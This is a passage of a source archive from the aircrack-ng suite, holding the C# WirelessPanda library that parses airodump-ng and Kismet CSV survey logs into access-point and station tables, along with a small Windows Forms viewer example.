ESSIDLength { get { return (byte)this.getDictValue("ESSID Length"); } set { this.setDictValue("ESSID Length", value); } } /// /// Key /// public string Key { get { return (string)this.getDictValue("Key"); } set { this.setDictValue("Key", value); } } /// /// Network Type /// public string NetworkType { get { return (string)this.getDictValue("Network Type"); } set { this.setDictValue("Network Type", value); } } /// /// Info /// public string Info { get { return (string)this.getDictValue("Info"); } set { this.setDictValue("Info", value); } } /// /// Encoding /// public string Encoding { get { return (string)this.getDictValue("Encoding"); } set { this.setDictValue("Encoding", value); } } /// /// Cloaked ? /// public bool Cloaked { get { return (bool)this.getDictValue("Cloaked"); } set { this.setDictValue("Cloaked", value); } } /// /// Encryption /// public string Encryption { get { return (string)this.getDictValue("Encryption"); } set { this.setDictValue("Encryption", value); } } /// /// Is the traffic decrypted? /// public bool Decrypted { get { return (bool)this.getDictValue("Decrypted"); } set { this.setDictValue("Decrypted", value); } } /// /// # Beacon Frames /// public ulong Beacon { get { return (ulong)this.getDictValue("Beacon"); } set { this.setDictValue("Beacon", value); } } /// /// # LLC Frames /// public ulong LLC { get { return (ulong)this.getDictValue("LLC"); } set { this.setDictValue("LLC", value); } } /// /// # Crypt Frames /// public ulong Crypt { get { return (ulong)this.getDictValue("Crypt"); } set { this.setDictValue("Crypt", value); } } /// /// # Weak Frames /// public ulong Weak { get { return (ulong)this.getDictValue("Weak"); } set { this.setDictValue("Weak", value); } } /// /// Total Nb of Frames /// public ulong Total { get { return (ulong)this.getDictValue("Total"); } set { this.setDictValue("Total", value); } } /// /// Carrier /// public string Carrier { get { return (string)this.getDictValue("Carrier"); } set { this.setDictValue("Carrier", value); } } /// /// Best Quality /// public int BestQuality { get { return (int)this.getDictValue("BestQuality"); } set { this.setDictValue("BestQuality", value); } } /// /// Best Signal /// public int BestSignal { get { return (int)this.getDictValue("Best Signal"); } set { this.setDictValue("Best Signal", value); } } /// /// Best Noise /// public int BestNoise { get { return (int)this.getDictValue("Best Noise"); } set { this.setDictValue("Best Noise", value); } } /// /// Min Location /// public Coordinates MinLocation { get { return (Coordinates)this.getDictValue("Min Location"); } set { this.setDictValue("Min Location", value); } } /// /// Best Location /// public Coordinates BestLocation { get { return (Coordinates)this.getDictValue("Best Location"); } set { this.setDictValue("Best Location", value); } } /// /// Max Location /// public Coordinates MaxLocation { get { return (Coordinates)this.getDictValue("Max Location"); } set { this.setDictValue("Max Location", value); } } /// /// Data Size /// public ulong DataSize { get { return (ulong)this.getDictValue("Data Size"); } set { this.setDictValue("Data Size", value); } } #endregion /// /// Internal list of client /// private List _clientList = new List(); /// /// Add a client to our list /// /// public void addClient(Station sta) { this._clientList.Add(sta); sta.AP = this; } /// /// Returns the client list /// public List ClientList { get { return this._clientList; } } /// /// Implements IEquatable /// /// Other AccessPoint to compare to /// true if equals, false if not public bool Equals(AccessPoint other) { try { if (this.BSSID == other.BSSID) { return true; } } catch { } return false; } } } aircrack-ng-1.2-rc4/lib/csharp/WirelessPanda/Readers/0000755000000000000000000000000012660222375021102 5ustar rootrootaircrack-ng-1.2-rc4/lib/csharp/WirelessPanda/Readers/NetXMLReader.cs0000644000000000000000000000246611600011117023652 0ustar rootrootusing System; namespace WirelessPanda.Readers { // See http://msdn.microsoft.com/en-us/library/cc189056(v=vs.95).aspx public class NetXMLReader : Reader { /// /// Date format (Same format for Kismet CSV and NetXML) /// protected override string DATE_FORMAT { get { return "ddd MMM dd HH:mm:ss yyyy"; } } /// /// Date format (Same format for Kismet CSV and NetXML) /// protected override string ALT_DATE_FORMAT { get { return "ddd MMM d HH:mm:ss yyyy"; } } /// /// Reader type /// public override string ReaderType { get { return "Kismet NetXML"; } } /// /// Constructor /// /// Filename (doesn't need to exist now but MUST when using Read() ) public NetXMLReader(string filename) : base(filename) { throw new NotImplementedException("NetXML parser not implemented yet"); } } } aircrack-ng-1.2-rc4/lib/csharp/WirelessPanda/Readers/csvReader.cs0000644000000000000000000001766411600011117023344 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Collections.Generic; namespace WirelessPanda.Readers { public class CsvReader : Reader { /// /// Date format (Same format for 0.x and 1.x) /// protected override string DATE_FORMAT { get { return "yyyy-MM-dd HH:mm:ss"; } } public enum CSVFileFormat { v0X, v1X, Unknown } /// /// Get the file format /// public CSVFileFormat FileFormat { get { return this._fileFormat; } } private CSVFileFormat _fileFormat = CSVFileFormat.Unknown; /// /// Reader type /// public override string ReaderType { get { return "Airodump-ng CSV"; } } /// /// Constructor /// /// Filename (doesn't need to exist now but MUST when using Read() ) public CsvReader(string filename) : base(filename) { } /// /// Read/Update the content of the file /// /// true if successful /// Airodump-ng CSV format unknown public override bool Read() { // Reset parsing status this.ParseSuccess = false; // Get the content of the file string[] content = this.getStrippedFileContent(); // Get file format this._fileFormat = this.getFormat(content); if (this._fileFormat == CSVFileFormat.Unknown) { throw new FormatException("Airodump-ng CSV format unknown"); } // Parse AP ... int i = 2; // Start at line 3 (skipping header) for (; i < content.Length && !string.IsNullOrEmpty(content[i]); i++) { string [] splitted = content[i].Split(','); switch (this._fileFormat) { case CSVFileFormat.v0X: if (splitted.Length < 11) { continue; } break; case CSVFileFormat.v1X: if (splitted.Length < 15) { continue; } break; } AccessPoint ap = new AccessPoint(); ap.BSSID = splitted[0].Trim(); ap.FirstTimeSeen = this.parseDateTime(splitted[1]); ap.LastTimeSeen = this.parseDateTime(splitted[2]); ap.Channel = int.Parse(splitted[3].Trim()); ap.MaxRate = double.Parse(splitted[4].Trim()); ap.Privacy = splitted[5].Trim(); switch (this._fileFormat) { case CSVFileFormat.v0X: ap.Power = int.Parse(splitted[6].Trim()); ap.Beacons = long.Parse(splitted[7].Trim()); ap.DataFrames = ulong.Parse(splitted[8].Trim()); ap.IP = splitted[9].Replace(" ", ""); ap.ESSID = splitted[10].Substring(1); // TODO: Improve it because it may contain a ',' ap.ESSIDLength = (byte)ap.ESSID.Length; break; case CSVFileFormat.v1X: ap.Cipher = splitted[6].Trim(); ap.Authentication = splitted[7].Trim(); ap.Power = int.Parse(splitted[8].Trim()); ap.Beacons = long.Parse(splitted[9].Trim()); ap.DataFrames = ulong.Parse(splitted[10].Trim()); ap.IP = splitted[11].Replace(" ", ""); ap.ESSIDLength = byte.Parse(splitted[12].Trim()); ap.ESSID = splitted[13].Substring(1); // TODO: Improve it because it may contain a ',' ap.Key = splitted[14]; break; } // Add AP to the list this.addAccessPoint(ap); } // ... Parse stations i += 2; // Skip station header for (; i < content.Length && !string.IsNullOrEmpty(content[i]); i++) { string[] splitted = content[i].Split(','); // Skip to the next if not long enough if (splitted.Length < 6) { continue; } // Parse station information Station sta = new Station(); sta.StationMAC = splitted[0].Trim(); sta.FirstTimeSeen = this.parseDateTime(splitted[1]); sta.LastTimeSeen = this.parseDateTime(splitted[2]); sta.Power = int.Parse(splitted[3].Trim()); sta.NbPackets = ulong.Parse(splitted[4].Trim()); sta.BSSID = splitted[5].Trim(); // Get probed ESSID list if (splitted.Length > 6 && splitted[6] != "") { List list = new List(); for (int j = 6; j < splitted.Length; j++) { // There's always a whitespace character before list.Add(splitted[j].Substring(1)); } sta.ProbedESSIDsList = list.ToArray(); } else { sta.ProbedESSIDs = string.Empty; } // Add station to the list this.addStation(sta); } // Link them together this.LinkAPClients(); // Parsing was successful this.ParseSuccess = true; return this.ParseSuccess; } /// /// Returns the format of the file /// /// File content /// CSV File Format /// content is null /// content is empty private CSVFileFormat getFormat(string[] content) { // Checks if (content == null) { throw new ArgumentNullException("Cannot determine format without any content"); } if (content.Length == 1 && string.IsNullOrEmpty(content[0])) { throw new ArgumentException("Cannot determine format without any content"); } // First line is empty and the second line contains the header if (content.Length > 2 && string.IsNullOrEmpty(content[0])) { // Version 1.x if (content[1] == "BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key") { return CSVFileFormat.v1X; } // Version 0.x if (content[1] == "BSSID, First time seen, Last time seen, Channel, Speed, Privacy, Power, # beacons, # data, LAN IP, ESSID") { return CSVFileFormat.v0X; } } return CSVFileFormat.Unknown; } } } aircrack-ng-1.2-rc4/lib/csharp/WirelessPanda/Readers/Reader.cs0000644000000000000000000003123411600011117022615 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Collections; using System.Collections.Generic; using System.Data; using System.IO; namespace WirelessPanda.Readers { public class Reader { public const string ACCESSPOINTS_DATATABLE = "Access Points"; public const string STATIONS_DATATABLE = "Stations"; #region Private members private DataSet _dataset = new DataSet(); private List _accessPoints = new List(); private List _stations = new List(); private string _filename = string.Empty; private bool _parseSuccess = false; #endregion #region Properties /// /// Returns true if the file exist /// public bool FileExist { get { return File.Exists(this._filename); } } /// /// DataSet containing 2 tables: "Access Points" and "Stations" /// public virtual DataSet Dataset { get { return this._dataset; } } /// /// Was the file parsed successfully? /// public bool ParseSuccess { get { return this._parseSuccess; } protected set { this._parseSuccess = value; } } /// /// Array of access points /// public virtual AccessPoint[] AccessPoints { get { return this._accessPoints.ToArray().Clone() as AccessPoint[]; } } /// /// Array of stations /// public virtual Station[] Stations { get { return this._stations.ToArray().Clone() as Station[]; } } /// /// Filename /// public string Filename { get { return this._filename; } } /// /// Reader type /// public virtual string ReaderType { get { return "Unknown"; } } /// /// Reader type /// protected virtual string DATE_FORMAT { get { return null; } } /// /// Reader type /// protected virtual string ALT_DATE_FORMAT { get { return null; } } #endregion /// /// Constructor /// /// Filename (doesn't need to exist now but MUST when using Read() ) public Reader(string filename) { if (string.IsNullOrEmpty(filename)) { throw new FileNotFoundException("Filename cannot be null or empty"); } this._filename = filename; } protected void Clear() { // Clear all the values and re-create datatables this._dataset.Tables.Clear(); this._accessPoints.Clear(); this._stations.Clear(); this._parseSuccess = false; } /// /// Open the file and returns its content /// /// /// File does not exist /// Fails to open file protected string[] getStrippedFileContent() { if (string.IsNullOrEmpty(this.Filename)) { throw new FileNotFoundException("Filename cannot be null or empty"); } FileInfo f = new FileInfo(this.Filename); if (!f.Exists) { throw new FileNotFoundException("File <" + this.Filename + "> does not exist"); } // Returns an array with one empty string if (f.Length == 0) { return new string[] { string.Empty }; } StreamReader sr = null; // Open the file try { sr = f.OpenText(); } catch (Exception e) { throw new Exception("Failed to open <" + this.Filename + ">", e); } List lines = new List(); // Read the file try { while (!sr.EndOfStream) { lines.Add(sr.ReadLine().Trim()); } } catch { /* Done or failure so stop */} // Close file try { sr.Close(); } catch { } return lines.ToArray(); } /// /// Read/Update the content of the file /// /// true if successful public virtual bool Read() { return this.ParseSuccess; } /// /// Generate the columns for the DataTable from the Hashtable (and in a specific order if needed) /// /// /// private DataColumn[] getColumnsFromHashtable(Hashtable ht, Hashtable order) { List columnList = new List(); if (ht != null) { if (order == null) { // No specific order but that's not going to happen foreach (string key in ht.Keys) { Type t = ht[key].GetType(); columnList.Add(new DataColumn(key, t)); } } else { for (int i = 0; i < order.Count; i++) { Type t = ht[(string)order[i]].GetType(); columnList.Add(new DataColumn((string)order[i], t)); } } } return columnList.ToArray(); } /// /// Add a station to the list /// /// Station /// protected bool addStation(Station s) { if (s == null) { return false; } // Create DataTable if needed if (!this._dataset.Tables.Contains(STATIONS_DATATABLE)) { // Create Stations DataTable DataTable dtStations = new DataTable(STATIONS_DATATABLE); dtStations.CaseSensitive = true; // Create columns dtStations.Columns.AddRange(this.getColumnsFromHashtable(s.FieldsDictionary, s.FieldsOrder)); // And add it to the dataset this._dataset.Tables.Add(dtStations); } // Add row DataRow dr = this._dataset.Tables[STATIONS_DATATABLE].NewRow(); // Set value for each field foreach (string key in s.FieldsDictionary.Keys) { dr[key] = s.FieldsDictionary[key]; } // Add row this._dataset.Tables[STATIONS_DATATABLE].Rows.Add(dr); // Add station to the list this._stations.Add(s); return true; } /// /// Link clients to their associated AP /// protected void LinkAPClients() { foreach (Station s in this._stations) { if (string.IsNullOrEmpty(s.BSSID)) { continue; } foreach (AccessPoint ap in this._accessPoints) { if (ap.BSSID == s.BSSID) { ap.addClient(s); break; } } } //this._dataset.Tables[ACCESSPOINTS_DATATABLE].ChildRelations.Add(new DataRelation("Cients", this._dataset.Tables[ACCESSPOINTS_DATATABLE].Columns["BSSID"], this._dataset.Tables[STATIONS_DATATABLE].Columns["BSSID"])); //this._dataset.Tables[STATIONS_DATATABLE].ParentRelations.Add(new DataRelation("Associated AP", this._dataset.Tables[ACCESSPOINTS_DATATABLE].Columns["BSSID"], this._dataset.Tables[STATIONS_DATATABLE].Columns["BSSID"])); } /// /// Add Access Point to the list /// /// Access Point /// protected bool addAccessPoint(AccessPoint ap) { if (ap == null) { return false; } // Create DataTable if needed if (!this._dataset.Tables.Contains(ACCESSPOINTS_DATATABLE)) { // Create Access Points DataTable DataTable dtAPs = new DataTable(ACCESSPOINTS_DATATABLE); dtAPs.CaseSensitive = true; // Create columns dtAPs.Columns.AddRange(this.getColumnsFromHashtable(ap.FieldsDictionary, ap.FieldsOrder)); this._dataset.Tables.Add(dtAPs); } // Add row DataRow dr = this._dataset.Tables[ACCESSPOINTS_DATATABLE].NewRow(); foreach (string key in ap.FieldsDictionary.Keys) { dr[key] = ap.FieldsDictionary[key]; } // Add row this._dataset.Tables[ACCESSPOINTS_DATATABLE].Rows.Add(dr); // Add the Access Point to the list this._accessPoints.Add(ap); return true; } /// /// Return the type of the file (and obviously, also the "name" of the reader to use /// /// Path to the file /// Null if type is unknown or a string with the type public static string getFileType(string path) { Reader r = new CsvReader(path); try { r.Read(); } catch { r = new KismetCsvReader(path); try { r.Read(); } catch { r = new NetXMLReader(path); try { r.Read(); } catch { } } } if (!r.ParseSuccess) { return null; } return r.ReaderType; } /// /// Parse a string containing the date and time /// /// Date string /// DateTime value /// Date/Time string cannot be null or empty /// Date Format is not set protected DateTime parseDateTime(string s) { if (string.IsNullOrEmpty(this.DATE_FORMAT)) { throw new FormatException("Date Format is not set"); } if (string.IsNullOrEmpty(s)) { throw new ArgumentNullException("Date/Time string cannot be null or empty"); } // Parse it DateTime ret = new DateTime(); try { ret = DateTime.ParseExact(s.Trim(), DATE_FORMAT, null); } catch { ret = DateTime.ParseExact(s.Trim(), ALT_DATE_FORMAT, null); } return ret; } } } aircrack-ng-1.2-rc4/lib/csharp/WirelessPanda/Readers/UniversalReader.cs0000644000000000000000000000561311600011117024510 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Data; namespace WirelessPanda.Readers { public class UniversalReader : Reader { /// /// Reader /// private Reader _reader = null; /// /// File type /// /// So that we have to check it only once private string _fileType = string.Empty; #region Properties /// /// DataSet containing 2 tables: "Access Points" and "Stations" /// public override DataSet Dataset { get { return this._reader.Dataset; } } /// /// Array of access points /// public override AccessPoint[] AccessPoints { get { return this._reader.AccessPoints; } } /// /// Array of stations /// public override Station[] Stations { get { return this._reader.Stations; } } /// /// Reader type /// public override string ReaderType { get { return "Universal: Airodump-ng CSV, Kismet CSV, Kismet NetXML"; } } #endregion /// /// Constructor /// /// Filename (doesn't need to exist now but MUST when using Read() ) public UniversalReader(string filename) : base(filename) { } /// /// Read/Update the content of the file /// /// true if successful public override bool Read() { this.ParseSuccess = false; if (string.IsNullOrEmpty(this._fileType)) { this._fileType = Reader.getFileType(this.Filename); } switch (this._fileType) { case "Airodump-ng CSV": this._reader = new CsvReader(this.Filename); break; case "Kismet CSV": this._reader = new KismetCsvReader(this.Filename); break; case "Kismet NetXML": this._reader = new NetXMLReader(this.Filename); break; default: throw new FormatException("Unknown file format, can't parse"); break; } this.ParseSuccess = this._reader.Read(); return this.ParseSuccess; } } } aircrack-ng-1.2-rc4/lib/csharp/WirelessPanda/Readers/kismetCsvReader.cs0000644000000000000000000001162711600011117024512 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; namespace WirelessPanda.Readers { public class KismetCsvReader : Reader { /// /// Date format (Same format for Kismet CSV and NetXML) /// protected override string DATE_FORMAT { get { return "ddd MMM dd HH:mm:ss yyyy"; } } /// /// Date format (Same format for Kismet CSV and NetXML) /// protected override string ALT_DATE_FORMAT { get { return "ddd MMM d HH:mm:ss yyyy"; } } /// /// Reader type /// public override string ReaderType { get { return "Kismet CSV"; } } /// /// Constructor /// /// Filename (doesn't need to exist now but MUST when using Read() ) public KismetCsvReader(string filename) : base(filename) { } /// /// Read/Update the content of the file /// /// true if successful /// Airodump-ng CSV format unknown public override bool Read() { // Reset parsing status this.ParseSuccess = false; // Get the content of the file string[] content = this.getStrippedFileContent(); // Check if this is really a kismet CSV file if (content.Length == 0) { throw new FormatException("Empty file"); } this.ParseSuccess = (content[0] == "Network;NetType;ESSID;BSSID;Info;Channel;Cloaked;Encryption;Decrypted;MaxRate;MaxSeenRate;Beacon;LLC;Data;Crypt;Weak;Total;Carrier;Encoding;FirstTime;LastTime;BestQuality;BestSignal;BestNoise;GPSMinLat;GPSMinLon;GPSMinAlt;GPSMinSpd;GPSMaxLat;GPSMaxLon;GPSMaxAlt;GPSMaxSpd;GPSBestLat;GPSBestLon;GPSBestAlt;DataSize;IPType;IP;"); if (!this.ParseSuccess) { throw new FormatException("Not a Kismet CSV file"); } // Parse content for (int i = 1; i < content.Length && !string.IsNullOrEmpty(content[i]); i++) { string [] splitted = content[i].Split(';'); // Check if there are enough elements if (splitted.Length < 39) { continue; } AccessPoint ap = new AccessPoint(); // Skip first element which is the network number (if someone cares about it, email me) ap.NetworkType = splitted[1].Trim(); ap.ESSID = splitted[2].Trim(); ap.ESSIDLength = (byte)splitted[2].Length; ap.BSSID = splitted[3].Trim(); ap.Info = splitted[4].Trim(); ap.Channel = int.Parse(splitted[5]); ap.Cloaked = (splitted[6].Trim().ToLower() == "yes"); ap.Encryption = splitted[7].Trim(); ap.Decrypted = (splitted[8].Trim().ToLower() == "yes"); ap.MaxRate = double.Parse(splitted[9]); ap.MaxSeenRate = double.Parse(splitted[10]); ap.Beacon = ulong.Parse(splitted[11]); ap.LLC = ulong.Parse(splitted[12]); ap.DataFrames = ulong.Parse(splitted[13]); ap.Crypt = ulong.Parse(splitted[14]); ap.Weak = ulong.Parse(splitted[15]); ap.Total = ulong.Parse(splitted[16]); ap.Carrier = splitted[17].Trim(); ap.Encoding = splitted[18].Trim(); ap.FirstTimeSeen = this.parseDateTime(splitted[19]); ap.LastTimeSeen = this.parseDateTime(splitted[20]); ap.BestQuality = int.Parse(splitted[21]); ap.BestSignal = int.Parse(splitted[22]); ap.BestNoise = int.Parse(splitted[23]); ap.MinLocation = new Coordinates(splitted[24], splitted[25], splitted[26], splitted[27]); ap.MaxLocation = new Coordinates(splitted[28], splitted[29], splitted[30], splitted[31]); ap.BestLocation = new Coordinates(splitted[32], splitted[33], splitted[34], ""); ap.DataSize = ulong.Parse(splitted[35]); ap.IPType = int.Parse(splitted[36]); ap.IP = splitted[37].Replace(" ", ""); this.addAccessPoint(ap); } // No need to link stations and access points together since there are only access points. return true; } } } aircrack-ng-1.2-rc4/lib/csharp/WirelessPanda/Properties/0000755000000000000000000000000012660222375021651 5ustar rootrootaircrack-ng-1.2-rc4/lib/csharp/WirelessPanda/Properties/AssemblyInfo.cs0000644000000000000000000000262111600011117024553 0ustar rootrootusing System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("TheRing")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("TheRing")] [assembly: AssemblyCopyright("Copyright © 2011")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("17562500-6dc8-4460-a427-440ea5f27f26")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] aircrack-ng-1.2-rc4/lib/csharp/WirelessPanda/Station.cs0000644000000000000000000001030511600011117021443 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Collections.Generic; using System.Text; namespace WirelessPanda { public class Station : WirelessDevice, IEquatable { private AccessPoint _ap = null; /// /// Access point /// public AccessPoint AP { get { return this._ap; } // Only allow to do it inside the lib internal set { this._ap = value; } } /// /// Station MAC /// public string StationMAC { get { return (string)this.getDictValue("Station MAC"); } set { if (value != null) { this.setDictValue("Station MAC", value.Trim()); } else { this.setDictValue("Station MAC", value); } } } /// /// # Packets /// public ulong NbPackets { get { return (ulong)this.getDictValue("# Packets"); } set { this.setDictValue("# Packets", value); } } /// /// Probed ESSIDs (comma separated) /// public string ProbedESSIDs { get { return (string)this.getDictValue("Probed ESSIDs"); } set { this.setDictValue("Probed ESSIDs", value); // Update probe ESSID list this._probedESSIDsList.Clear(); if (string.IsNullOrEmpty(value)) { foreach (string s in value.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) { if (string.IsNullOrEmpty(s.Trim())) { continue; } // Add ESSID this._probedESSIDsList.Add(s); } } } } private List _probedESSIDsList = new List(); /// /// Probed ESSIDs List /// public string[] ProbedESSIDsList { get { return _probedESSIDsList.ToArray().Clone() as string[]; } set { this._probedESSIDsList.Clear(); this.setDictValue("Probed ESSIDs", string.Empty); if (value != null && value.Length > 0) { this._probedESSIDsList.AddRange(value); // Generate the string list of SSID StringBuilder sb = new StringBuilder(string.Empty); foreach (string s in value) { sb.AppendFormat("{0}, ", s); } string res = sb.ToString(); if (res.Length > 0) { res = res.Substring(0, res.Length - 2); } // And put it in the Probed ESSIDs dictionary item this.setDictValue("Probed ESSIDs", res); } } } /// /// Implements IEquatable /// /// Other Station to compare to /// true if equals, false if not public bool Equals(Station other) { try { if (this.StationMAC == other.StationMAC) { return true; } } catch { } return false; } } } aircrack-ng-1.2-rc4/lib/csharp/WirelessPanda/WirelessPanda.Mono.csproj0000644000000000000000000000476611600013506024407 0ustar rootroot Debug AnyCPU 8.0.30703 2.0 {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3} Library Properties WirelessPanda WirelessPanda v4.0 512 true full false bin\Debug\ DEBUG;TRACE prompt 4 pdbonly true bin\Release\ TRACE prompt 4 aircrack-ng-1.2-rc4/lib/csharp/Example1/0000755000000000000000000000000012660222376016431 5ustar rootrootaircrack-ng-1.2-rc4/lib/csharp/Example1/Example1/0000755000000000000000000000000012660222376020105 5ustar rootrootaircrack-ng-1.2-rc4/lib/csharp/Example1/Example1/Form1.cs0000644000000000000000000000416611600011117021405 0ustar rootroot// License: BSD // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Windows.Forms; using WirelessPanda.Readers; namespace Example1 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } /// /// Load file /// /// /// private void button1_Click(object sender, EventArgs e) { OpenFileDialog ofd = new OpenFileDialog(); ofd.Multiselect = false; if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK) { // Load file Reader reader = new UniversalReader(ofd.FileName); try { // and parse it reader.Read(); // Add Datatables this.dataGridView1.DataSource = reader.Dataset.Tables[Reader.ACCESSPOINTS_DATATABLE]; this.dataGridView2.DataSource = reader.Dataset.Tables[Reader.STATIONS_DATATABLE]; } catch (Exception ex) { MessageBox.Show("Exception: " + ex.Message, this.Text, MessageBoxButtons.OK, MessageBoxIcon.Error); } // Set file type this.lblFiletype.Text = reader.ReaderType; // Set filename this.lblFilename.Text = reader.Filename; // Indicate if parsing was successful if (reader.ParseSuccess) { this.lblParsed.Text = "Yes"; } else { this.lblParsed.Text = "No"; } } } private void Form1_SizeChanged(object sender, EventArgs e) { Form f = sender as Form; this.label1.Left = (f.Width - this.label1.Width) / 2; this.label2.Left = (f.Width - this.label2.Width) / 2; } } } aircrack-ng-1.2-rc4/lib/csharp/Example1/Example1/Form1.resx0000644000000000000000000001327111600011117021756 0ustar rootroot text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 aircrack-ng-1.2-rc4/lib/csharp/Example1/Example1/Example1.csproj0000644000000000000000000000731211600011117022764 0ustar rootroot Debug x86 8.0.30703 2.0 {C4AE481A-A896-4830-9202-6221890AB43B} WinExe Properties Example1 Example1 v4.0 512 x86 true full false bin\Debug\ DEBUG;TRACE prompt 4 x86 pdbonly true bin\Release\ TRACE prompt 4 Form Form1.cs Form1.cs ResXFileCodeGenerator Resources.Designer.cs Designer True Resources.resx True SettingsSingleFileGenerator Settings.Designer.cs True Settings.settings True {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3} WirelessPanda aircrack-ng-1.2-rc4/lib/csharp/Example1/Example1/app.config0000644000000000000000000000022011600011117022024 0ustar rootroot aircrack-ng-1.2-rc4/lib/csharp/Example1/Example1/Program.cs0000644000000000000000000000067511600011117022031 0ustar rootrootusing System; using System.Windows.Forms; namespace Example1 { static class Program { /// /// The main entry point for the application. /// [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); } } } aircrack-ng-1.2-rc4/lib/csharp/Example1/Example1/Properties/0000755000000000000000000000000012660222376022241 5ustar rootrootaircrack-ng-1.2-rc4/lib/csharp/Example1/Example1/Properties/Resources.resx0000644000000000000000000001275411600011117025105 0ustar rootroot text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 aircrack-ng-1.2-rc4/lib/csharp/Example1/Example1/Properties/AssemblyInfo.cs0000644000000000000000000000262311600011117025144 0ustar rootrootusing System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("Example1")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Example1")] [assembly: AssemblyCopyright("Copyright © 2011")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("c8ca20fd-396d-461e-a240-3cb2214597d8")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] aircrack-ng-1.2-rc4/lib/csharp/Example1/Example1/Properties/Settings.Designer.cs0000644000000000000000000000210111600011117026077 0ustar rootroot//------------------------------------------------------------------------------ // // This code was generated by a tool. // Runtime Version:4.0.30319.225 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // //------------------------------------------------------------------------------ namespace Example1.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); public static Settings Default { get { return defaultInstance; } } } } aircrack-ng-1.2-rc4/lib/csharp/Example1/Example1/Properties/Settings.settings0000644000000000000000000000037111600011117025602 0ustar rootroot aircrack-ng-1.2-rc4/lib/csharp/Example1/Example1/Properties/Resources.Designer.cs0000644000000000000000000000543211600011117026263 0ustar rootroot//------------------------------------------------------------------------------ // // This code was generated by a tool. // Runtime Version:4.0.30319.225 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // //------------------------------------------------------------------------------ namespace Example1.Properties { using System; /// /// A strongly-typed resource class, for looking up localized strings, etc. /// // This class was auto-generated by the StronglyTypedResourceBuilder // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// /// Returns the cached ResourceManager instance used by this class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Example1.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// /// Overrides the current thread's CurrentUICulture property for all /// resource lookups using this strongly typed resource class. /// 